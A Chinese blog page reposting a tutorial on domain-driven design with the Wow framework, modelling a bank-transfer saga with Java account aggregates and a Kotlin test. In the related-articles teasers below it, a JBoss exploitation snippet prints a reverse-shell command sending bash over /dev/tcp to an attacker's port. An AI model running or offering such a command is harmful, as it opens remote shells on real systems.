领域驱动设计实战:使用Wow框架重构银行转账系统

news2024/11/13 9:18:30

银行账户转账案例是一个经典的领域驱动设计(DDD)应用场景。

接下来我们通过一个简单的银行账户转账案例,来了解如何使用 Wow 进行领域驱动设计以及服务开发。

银行转账流程

  1. 准备转账(Prepare): 用户发起转账请求,触发 Prepare 步骤。这个步骤会向源账户发送准备转账的请求。
  2. 校验余额(CheckBalance): 源账户在收到准备转账请求后,会执行校验余额的操作,确保账户有足够的余额进行转账。
  3. 锁定金额(LockAmount): 如果余额足够,源账户会锁定转账金额,防止其他操作干扰。
  4. 入账(Entry): 接着,转账流程进入到目标账户,执行入账操作。
  5. 确认转账(Confirm): 如果入账成功,确认转账;否则,执行解锁金额操作。
    1. 成功路径(Success): 如果一切顺利,完成转账流程。
    2. 失败路径(Fail): 如果入账失败,执行解锁金额操作,并处理失败情况。

运行案例


  • 运行 TransferExampleServer.java
    查看 Swagger-UI : http://localhost:8080/swagger-ui.html
    执行 API 测试:Transfer.http

自动生成 API 端点


运行之后,访问 Swagger-UI : http://localhost:8080/swagger-ui.html 。 该 RESTful API 端点是由 Wow 自动生成的,无需手动编写。

Saga-Transfer

模块划分

模块说明
example-transfer-apiAPI 层,定义聚合命令(Command)、领域事件(Domain Event)以及查询视图模型(Query View Model),这个模块充当了各个模块之间通信的 “发布语言”。
example-transfer-domain领域层,包含聚合根和业务约束的实现。聚合根:领域模型的入口点,负责协调领域对象的操作。业务约束:包括验证规则、领域事件的处理等。
example-transfer-server宿主服务,应用程序的启动点。负责整合其他模块,并提供应用程序的入口。涉及配置依赖项、连接数据库、启动 API 服务

领域建模

账户聚合根

状态聚合根(AccountState)与命令聚合根(Account)分离设计保证了在执行命令过程中,不会修改状态聚合根的状态。

状态聚合根(AccountState)建模

public class AccountState implements Identifier {
    private final String id;
    private String name;
    /**
     * 余额
     */
    private long balanceAmount = 0L;
    /**
     * 已锁定金额
     */
    private long lockedAmount = 0L;
    /**
     * 账号已冻结标记
     */
    private boolean frozen = false;

    @JsonCreator
    public AccountState(@JsonProperty("id") String id) {
        this.id = id;
    }

    @NotNull
    @Override
    public String getId() {
        return id;
    }

    public String getName() {
        return name;
    }

    public long getBalanceAmount() {
        return balanceAmount;
    }

    public long getLockedAmount() {
        return lockedAmount;
    }

    public boolean isFrozen() {
        return frozen;
    }

    void onSourcing(AccountCreated accountCreated) {
        this.name = accountCreated.name();
        this.balanceAmount = accountCreated.balance();
    }

    void onSourcing(AmountLocked amountLocked) {
        balanceAmount = balanceAmount - amountLocked.amount();
        lockedAmount = lockedAmount + amountLocked.amount();
    }

    void onSourcing(AmountEntered amountEntered) {
        balanceAmount = balanceAmount + amountEntered.amount();
    }

    void onSourcing(Confirmed confirmed) {
        lockedAmount = lockedAmount - confirmed.amount();
    }

    void onSourcing(AmountUnlocked amountUnlocked) {
        lockedAmount = lockedAmount - amountUnlocked.amount();
        balanceAmount = balanceAmount + amountUnlocked.amount();
    }

    void onSourcing(AccountFrozen accountFrozen) {
        this.frozen = true;
    }

}

命令聚合根(Account)建模

@StaticTenantId
@AggregateRoot
public class Account {
    private final AccountState state;

    public Account(AccountState state) {
        this.state = state;
    }

    AccountCreated onCommand(CreateAccount createAccount) {
        return new AccountCreated(createAccount.name(), createAccount.balance());
    }

    @OnCommand(returns = {AmountLocked.class, Prepared.class})
    List<?> onCommand(Prepare prepare) {
        checkBalance(prepare.amount());
        return List.of(new AmountLocked(prepare.amount()), new Prepared(prepare.to(), prepare.amount()));
    }

    private void checkBalance(long amount) {
        if (state.isFrozen()) {
            throw new IllegalStateException("账号已冻结无法转账.");
        }
        if (state.getBalanceAmount() < amount) {
            throw new IllegalStateException("账号余额不足.");
        }
    }

    Object onCommand(Entry entry) {
        if (state.isFrozen()) {
            return new EntryFailed(entry.sourceId(), entry.amount());
        }
        return new AmountEntered(entry.sourceId(), entry.amount());
    }

    Confirmed onCommand(Confirm confirm) {
        return new Confirmed(confirm.amount());
    }

    AmountUnlocked onCommand(UnlockAmount unlockAmount) {
        return new AmountUnlocked(unlockAmount.amount());
    }

    AccountFrozen onCommand(FreezeAccount freezeAccount) {
        return new AccountFrozen(freezeAccount.reason());
    }
}

转账流程管理器(TransferSaga

转账流程管理器(TransferSaga)负责协调处理转账的事件,并生成相应的命令。

  • onEvent(Prepared): 订阅转账已准备就绪事件(Prepared),并生成入账命令 (Entry)。
  • onEvent(AmountEntered): 订阅转账已入账事件(AmountEntered),并生成确认转账命令 (Confirm)。
  • onEvent(EntryFailed): 订阅转账入账失败事件(EntryFailed),并生成解锁金额命令 (UnlockAmount)。
@StatelessSaga
public class TransferSaga {

    Entry onEvent(Prepared prepared, AggregateId aggregateId) {
        return new Entry(prepared.to(), aggregateId.getId(), prepared.amount());
    }

    Confirm onEvent(AmountEntered amountEntered) {
        return new Confirm(amountEntered.sourceId(), amountEntered.amount());
    }

    UnlockAmount onEvent(EntryFailed entryFailed) {
        return new UnlockAmount(entryFailed.sourceId(), entryFailed.amount());
    }
}

单元测试

internal class AccountKTest {
    @Test
    fun createAccount() {
        aggregateVerifier<Account, AccountState>()
            .given()
            .`when`(CreateAccount("name", 100))
            .expectEventType(AccountCreated::class.java)
            .expectState {
                assertThat(it.name, equalTo("name"))
                assertThat(it.balanceAmount, equalTo(100))
            }
            .verify()
    }
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1987215.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

24/8/6算法笔记 不同核函数

import numpy as np from sklearn import datasets from sklearn.svm import SVC from sklearn.model_selection import train_test_split from sklearn.metrics import accuracy_score import matplotlib.pyplot as plt 加载数据 X,ydatasets.load_wine(return_X_y True) d…

python中的turtle库(适用于计算机二级)

窗体函数 turtle.setup(width,height,startx,starty) width:窗口宽度 height:窗口高度 startx&#xff1a;窗口与屏幕左侧的距离 starty&#xff1a;窗口与屏幕顶部的距离 常用的引进turtle方法 # 引入turtle import turtle# 引入turtle库中的所有函数 from turtle import *# …

如何使用AI提问提示词(Prompt):让你的提问回答更有效

现在AI模型在日常工作和生活中的应用越来越广泛&#xff0c;无论是生成文本、回答问题&#xff0c;还是进行对话互动&#xff0c;提示词&#xff08;Prompt&#xff09;在与AI交互时起着至关重要的作用&#xff0c;一个好的提示词可以引导AI生成更加准确、有价值的内容。 那么…

【简历】宜春某二本学院:Java简历指导,秋招简历通过率低

简历说明 这是一个25届的二本宜春某学院的这个Java简历&#xff0c;今天看了两个简历&#xff0c;包括前面个985的&#xff0c;也是12306&#xff0c;这个12306已经烂大街&#xff0c;是个人都知道这个项目了&#xff0c;所以不要放在简历上&#xff0c;你不管大厂中厂还是小公…

力扣——11.盛最多水的容器

题目 暴力解 思路&#xff1a; 遍历每一个可能组成的容器&#xff0c;然后计算比较最大值。 代码&#xff1a; int maxArea(vector<int>& height) {int z1 0, z2 0;int len height.size();int val 0;for (z1; z1 < len - 1; z1) {for (z2 z1 1; z2 < l…

5分钟0基础快速上手亚马逊云科技AWS核心云开发/云架构知识 - 利用S3桶托管网页静态资源

简介&#xff1a; 小李哥从今天开始将开启全新亚马逊云科技AWS云计算知识学习系列&#xff0c;适用于任何无云计算或者亚马逊云科技技术背景的开发者&#xff0c;让大家0基础5分钟通过这篇文章就能完全学会亚马逊云科技一个经典的服务开发架构。 我将每天介绍一个基于亚马逊云…

Day-16 SpringBoot原理

SpingBoot原理 在前面十多天的课程当中&#xff0c;我们学习的都是web开发的技术使用&#xff0c;都是面向应用层面的&#xff0c;我们学会了怎么样去用。而我们今天所要学习的是web后端开发的最后一个篇章springboot原理篇&#xff0c;主要偏向于底层原理。 我们今天的课程安…

AppBoot:像 Django 一样使用 FastAPI

App Boot 开发 AppBoot 的背景是我一直没能寻找到满意的 FastAPI 项目模板。相比之下&#xff0c;Django 的项目结构和开发方式一直深得我心&#xff0c;因此我决定创建一个类似 Django 的 FastAPI 项目模板。 AppBoot 完全采用异步模式&#xff0c;内置 SQLAlchemy 2.0&…

Debian | Vscode 安装与配置 C 环境

Debian | Vscode 安装与配置 C 环境 安装 vscode sudo apt update sudo apt install software-properties-common apt-transport-https curlcurl -sSL https://packages.microsoft.com/keys/microsoft.asc | sudo apt-key add -sudo add-apt-repository "deb [archamd64…

Golang | Leetcode Golang题解之第327题区间和的个数

题目&#xff1a; 题解&#xff1a; import "math/rand" // 默认导入的 rand 不是这个库&#xff0c;需要显式指明type node struct {ch [2]*nodepriority intkey intdupCnt intsz int }func (o *node) cmp(b int) int {switch {case b < o.k…

独家探讨BIGO ads投放海外休闲游戏广告优势

在探讨BIGO投放海外休闲游戏广告的优势时&#xff0c;不得不提的是其全球化的战略布局与强大的技术支撑。BIGO作为深耕海外市场的先行者&#xff0c;已经构建了覆盖全球多个国家和地区的用户网络&#xff0c;这为休闲游戏广告的广泛传播提供了得天独厚的条件。通过精准定位不同…

ARM 汇编语言基础

目录 汇编指令代码框架 汇编指令语法格式 数据处理指令 数据搬移指令 mov 示例 立即数的本质 立即数的特点 立即数的使用 算术运算指令 指令格式 add 普通的加法指令 adc 带进位的加法指令 跳转指令 Load/Store指令 状态寄存器指令 基础概念 C 语言与汇编指令的关…

日志和守护进程

日志 //日志就是服务器在运行的时候要定期的把执行痕迹保留下来 #pragma once #include <iostream> #include <string> #include <cstdio> #include <cstring> #include <ctime> #include <cstdarg> #include <sys/types.h> #inclu…

XFS寻址模拟

XFS寻址 XFS 大部分时候都会用绝对地址&#xff0c;即包含AG信息和相对AG偏移量的信息&#xff0c;但有些时候会使用相对地址“相对AG的偏移量” [rootip-172-31-35-68 ~]# xfs_db -r /dev/nvme1n1 xfs_db> sb 0 xfs_db> p magicnum 0x58465342 blocksize 4096 dbloc…

丰富IO接口的ARMxy工业计算机在装卸机中的应用

在工业装卸领域&#xff0c;高效、精准的装卸作业对于提高生产效率和降低成本至关重要。ARMxy 工业计算机凭借其丰富的 IO 接口和强大的性能&#xff0c;成为工业装卸机的智能控制核心&#xff0c;为装卸作业带来了全新的变革。 ARMxy 工业计算机自带丰富的 IO 接口&#xff0c…

【C++】4.类和对象(2)

文章目录 1.类的默认成员函数2.构造函数 1.类的默认成员函数 默认成员函数就是用户没有显式实现&#xff0c;编译器会自动生成的成员函数称为默认成员函数。一个类&#xff0c;我们不写的情况下编译器会默认生成以下6个默认成员函数&#xff0c;需要注意的是这6个中最重要的是前…

解决戴尔台式电脑休眠后无法唤醒问题

近期发现有少量戴尔的台式机会有休眠后无法唤醒的问题&#xff0c;具体现象就是电脑在休眠后&#xff0c;电源指示灯以呼吸的频率闪烁&#xff0c;无论怎么点鼠标和键盘都没有反应&#xff0c;并且按开机按钮也没法唤醒&#xff0c;只能是长按开机键强制关机再重启才行&#xf…

Jboss漏洞

三、Jboss 3.1 CVE-2015-7501 Jboss JMXInvokerServlet 反序列化漏洞 漏洞复现 1.POC&#xff0c;访问地址 /invoker/JMXInvokerServlet返回如下&#xff0c;说明接口开放&#xff0c;此接口存在反序列化漏洞 3.1 8080 工具 bash -i>& /dev/tcp/ip/4444 0>&…

Python | Leetcode Python题解之第327题区间和的个数

题目&#xff1a; 题解&#xff1a; class Solution:def countRangeSum(self, nums: List[int], lower: int, upper: int) -> int:pre list(accumulate(nums, initial0))nums sorted(pre)mx len(nums)b BIT(mx 1)ans 0# 统计[x-upper,x-lower]的个数for i, x in enum…

sql注入靶场搭建

1.安装小皮面板&#xff08;PhpStudy&#xff09; 1.从官网下载&#xff1a;http://www.xp.cn 2、Sqli-labs环境安装 准备好sqli-labs-php7-master文件 3.安装之前确保本地没有下载mysql服务器 如果电脑下载了MySQL可以把MySQL的服务停掉 此电脑>右键>管理>服务…